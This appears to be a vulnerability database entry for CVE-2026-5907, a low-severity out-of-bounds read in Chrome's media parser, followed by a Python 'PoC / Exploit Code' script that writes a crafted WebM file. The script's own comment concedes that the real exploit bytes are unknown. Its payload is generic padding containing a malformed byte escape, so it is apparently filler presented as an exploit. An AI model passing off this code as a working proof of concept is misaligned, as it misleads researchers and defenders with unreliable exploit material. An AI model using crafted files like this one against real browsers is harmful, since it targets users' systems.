Insufficient data validation in Media in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to perform an out of bounds memory read via a crafted video file. (Chromium security severity: Low)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.55
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct
# PoC for CVE-2026-5907: Out of bounds memory read in Chrome Media
# This script generates a crafted video file intended to trigger the vulnerability.
# Note: Actual exploit bytes require specific knowledge of the parser bug.
def generate_malformed_video(filename):
# Generic video header (e.g., WebM EBML header)
header = b'\x1A\x45\xDF\xA3'
# Malformed payload designed to trigger the OOB read logic
# Adjusting size to potentially bypass sanity checks
payload = b'\x42\x82\88' + b'A' * 0x1000
with open(filename, 'wb') as f:
f.write(header + payload)
print(f"[*] Malformed video file generated: {filename}")
print("[*] Open this file in Chrome < 147.0.7727.55 to test.")
if __name__ == "__main__":
generate_malformed_video("cve_2026_5907_poc.webm")